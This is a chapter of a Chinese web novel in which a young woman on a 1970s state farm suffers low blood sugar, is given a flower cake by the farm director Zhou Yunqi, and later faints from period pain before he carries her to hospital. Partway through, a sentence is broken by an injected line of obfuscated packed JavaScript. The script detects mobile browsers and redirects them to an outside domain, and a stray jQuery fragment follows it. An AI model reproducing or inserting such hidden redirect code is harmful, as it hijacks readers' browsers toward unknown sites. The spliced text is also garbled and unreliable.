第四章被抱起送医院
林簌冷静了一会儿,仔细地回想了原文的情节。
可惜周云祁出场太晚了,剧情实在不多,他更像是在最后部分,为了帮助男女主解决一个困难而空降的大佬。为了突显大佬气质,作者除了给他良好的出身,卓绝的能力,还设定他快四十岁了依旧单身。
女主问他怎么不成家,是不是没遇到喜欢的,他回的那句话让林簌很有印象,他说:“没遇到命定的人。”
女主当时的心理活动还说也许是大佬的六亲缘薄。
林簌扯下一把花生扔进筐里,默然地想,周云祁的父母都不在了,六亲不好说,双亲的缘分确实挺薄的。
因为挪动了位置,她一直蹲在地上,感觉腿麻想站起来回原来的地方坐下,结果一起身,脑袋一阵天旋地转。
林簌只好又蹲下了身,痛苦地低垂着头,闭着双眼,缓了好一会儿。
昨天也许是有俩肉包子和几个酥糖支撑,她没什么感觉,现在低血糖来得这么快。
王萍在一旁问:“起太猛了,头晕?”
“嗯,我低血糖。”林簌说道。
王萍摇着头:“没办法啊,大家都营养不良。”
晕眩过后,林簌缓缓站起了身:“我去去就来。”
她回到宿舍,在储物箱里拿出了昨天买的半斤红糖,用调羹取了些进搪瓷杯,再用凉开水溶了……正要喝的时候,想起了什么,于是走去了厨房。
厨房里,负责做饭的一位大姐正在削南瓜皮,抬头看了眼林簌。
林簌道:“给我几粒盐可以吗?”
工人大姐指了指:“盐罐在那儿。”
林簌隐约记得盐糖水能快速补充水分与电解质,供给一定热能,维持血液循环。她打开盐罐,往杯子里放了一点儿盐,搅拌过后,喝着甜甜咸咸的水,希望身体快些恢复元气。
厨房大姐问:“你喝盐水做什么,喉咙疼?”
林簌道:“不是盐水,是红糖水加了点儿盐。”
大姐又很疑惑:“喝糖水还要加盐?”
“补充电解质的。”
“什么东西?”
林簌只好解释:“就是喝了有力气。”
大姐继续削南瓜皮,林簌问:“中午吃南瓜?”
“还有个空心菜。”
“哦,也挺好。”
太阳下山时,林簌和几个人一起在水泥地上收晒的花生。
有人趁机往兜里塞了一把花生,薅点儿羊毛。林簌没薅,花生得晒三四天才能干,现在只干了个壳,她吃了照样得拉肚子。
林簌跟人抬着一筐花生进仓库,此时吉普车开了回来。
等她干完活,擦着脸上的汗,准备回宿舍时,许耀东站在场长办公室门前,叫了一声:“小林。”
林簌站定,看他给自己使眼色,感觉有好事,于是走了过去。
许耀东说:“你等我一会儿,给你吃点儿好吃的。”
他转身进了办公室,林簌站在门口等。
往里面瞥了一眼,周云祁和昨天一样,靠在椅子背上闭目养神,看上去有些疲惫。
他真的很英俊,眉眼俊秀,五官线条流畅,皮肤底色是白皙的,只是晒过阳光后,呈现出均匀好看的浅麦色。
闭眼休息时,收起了一定的冷峻神色,显得更亲和一些。
许耀东拿着一个装糕点的纸袋子,展开袋口递过来,小声道:“尝尝这个。”
“是鲜花饼吗?”林簌也压低了声音,瞧见里面装了五六个饼。
“是的。”
林簌手上有些花生壳的灰,她在衣服上擦了擦,伸手拿了一个:“谢谢。”
咬了一口,饼皮酥脆,里面深红色的玫瑰花瓣馅儿却是绵软的,散发出馥郁的花香气息,咽下去后唇齿间都残留余香。
林簌幸福得不行,对许耀东说:“好吃,是场长买的吗?”
许耀东道:“送的,我们去了做鲜花饼的饼店,他们用的糖都是我们供应的。”
“哦,好好吃。”林簌称赞着,“玫瑰馅儿好香,谢谢东哥。”
许耀东瞧着这姑娘细皮嫩肉、白白净净的模样,吃东西的样子斯文又香甜,笑道:“咱可是老乡,以后有好东西,少不了你的。”
“嗯嗯,谢谢老乡。”林簌望着他,道谢后又咬了一口,细嚼慢咽。
眯眼休息的男人睁开了眼睛,目光看向门口。见两人面对面站着,林簌手里拿着咬了一半的鲜花饼,而许耀东这个臭小子勾着嘴角,一眨不眨地注视她……男人不由眼神微凝。
“你倒是挺会拿别人的东西给自己做人情儿。”周云祁啧道。
林簌惊了一下。
许耀东嘿嘿笑道:“老大,你不休息啦,不是说喝得头晕么。”
周云祁冷眼瞧着:“你们在这儿窸窸窣窣,不知道的还以为是老鼠偷东西。”
林簌擦了一下唇边的饼渣,咽下鲜花饼,不好意思地看向周云祁。
许耀东道:“快谢谢老大。”
林簌回过神,说道:“谢谢老大,呃,场长。”
周云祁看向她:“许耀东不发话,你就不会自己谢谢了?”
“不是。”林簌一时哑语,不知该怎么接话,安静中,索性又咬了一口鲜花饼,睁着乌黑眸子打量着这个男人。
他人很好,但有的时候也给人一种难以亲近的疏离感。
忽地想起他命定的人没出现,六亲缘薄的设定,林簌心中感叹,不禁对他产生了一丝同情。
就算他不是大佬,光是长成这样,喜欢他的女孩肯定会不少,但他没找到命中注定的人,情愿不结婚,可见对感情要求一定很高。
情绪复杂中,周云祁不解地回望过来。
林簌与之对视一眼,收收眼神,把剩下的鲜花饼塞进嘴里。
周云祁忽地扯了个笑,问向她:“好吃么?”
林簌点点头:“好吃。”
他说:“给我留一块就好,剩下的你们分了吧。”
收到吩咐的许耀东爽快回答:“行嘞。”
林簌不贪,只说:“要吃晚饭了,我拿一个就好。”
她拿了一个饼,道谢完便离开。
在这个物质并不丰富的时代,即便是一块鲜花饼,也要视若珍宝。林簌把它攥在手心,回宿舍后,再放进箱子里,打算用来明天早上吃。
-
时间过得极快,转眼林簌到七分场已经一周,期间她只出去干过一次活儿,是在昨天下午的雨后,阴云天气里,跟着他们去原来种花生的地里插地瓜藤。
林簌的手指甲里塞满了泥土,回来后洗了很久,最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407087|184529||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后洗衣服的时候泡在肥皂水才洗净。
这会儿吃着早饭,小腹一抽,感觉身体有一道暖流……直觉告诉她,来例假了。
半小时后,林簌从厕所出来,洗净手,弓着腰,手按着小腹,扶着红砖墙一步步往前挪。小腹持续抽搐,仿佛里面有一台绞肉机在不停运转,每走一步都绞得她疼痛不堪。
她在现实中不是没有经历过痛经,有时候她着凉了也会不适,可是远没有这么夸张和强烈,现在简直就是要绞杀了她。
偏偏此时还在犯低血糖,林簌感觉头晕眼花,身上的力气像是被凭空抽走,背上泛起一阵冷意,额头冷汗直冒。
忽然眼前一黑,林簌栽倒在地,彻底失去知觉。
几个知青叫喊着围了过来,王萍摸着她的手,惊讶说道:“天啊,手都是冰的!”
周云祁也在附近,片刻后,在一片七言八语中,他将林簌打横抱起,发话:“东子,开车,去医院!”
上车后,王萍匆匆递了林簌的书包进来,许耀东驱车离开。
周云祁坐在后座,抱着脸上全是冷汗的人,用衣袖帮她擦了擦。这姑娘明明不矮,身子却纤瘦轻盈,抱着她像抱着一片羽毛。她的唇上已经毫无血色,明明没了意识,身体却仿佛因为疼痛而微微颤抖。
男人垂眸盯着她苍白的脸,想起去机械厂家属院看望长辈时,长辈跟他聊起她。
“人是个标致姑娘,又有礼貌,就是命不好。五六岁就没了妈,父亲娶了个继母,带了继姐过来,又生了个弟弟。她在家中就可有可无的,几年前父亲也走了,原本等她满16岁就可以顶父亲的岗,但是这个岗位被继母安排给了继姐,她就只好下乡了。”
那时候他也想过,回来后抽空去六分场看望一下她,不料她直接调了过来。
待林簌睁开眼,首先看到的是一件白色衬衫,然后是男人线条分明的下颌。她被周云祁稳稳当当抱在怀里,她的头还贴靠在他结实的胸前。
“醒了?”低沉的声音从头顶传来,“马上就到医院了。”
林簌不由一激灵。
男人低头看她。
车窗外的景色一一掠过,林簌精神还没有缓好,只本能地想从他身上下来。
周云祁觉察到她的意思,抱着她放坐在座位上,并说:“再坚持一下。”
林簌想到自己没有什么钱,赶紧说:“不用去医院了,我没事。”
一说话,又是一阵晕眩,小腹绞痛难耐,她忍不住呻.吟出声,手指抓紧了前方座椅。
周云祁见状,沉出口气,像是懒得多言。
去了位于县城的农场医院,检查并了解情况后,医生说痛经成这样也是罕见,晕倒是低血糖引起的,先打止痛针,再打葡萄糖……
现在没什么布洛芬之类的止痛药,只有阿司匹林。但是医生又说,阿司匹林有肠胃副作用,问她要不要。
林簌点点头:“要。”
有总比没有好。
门外过道处,周云祁靠着墙壁,点了根烟。
许耀东说:“我还真是没见过这样,咱们场里的女同志也没这样吧,怪不得之前六分场的人说她有一半时间在生病。”
“周哥,这以后要怎么办?”
周云祁吁出一团烟雾:“还能怎么办,养着呗。”
“……”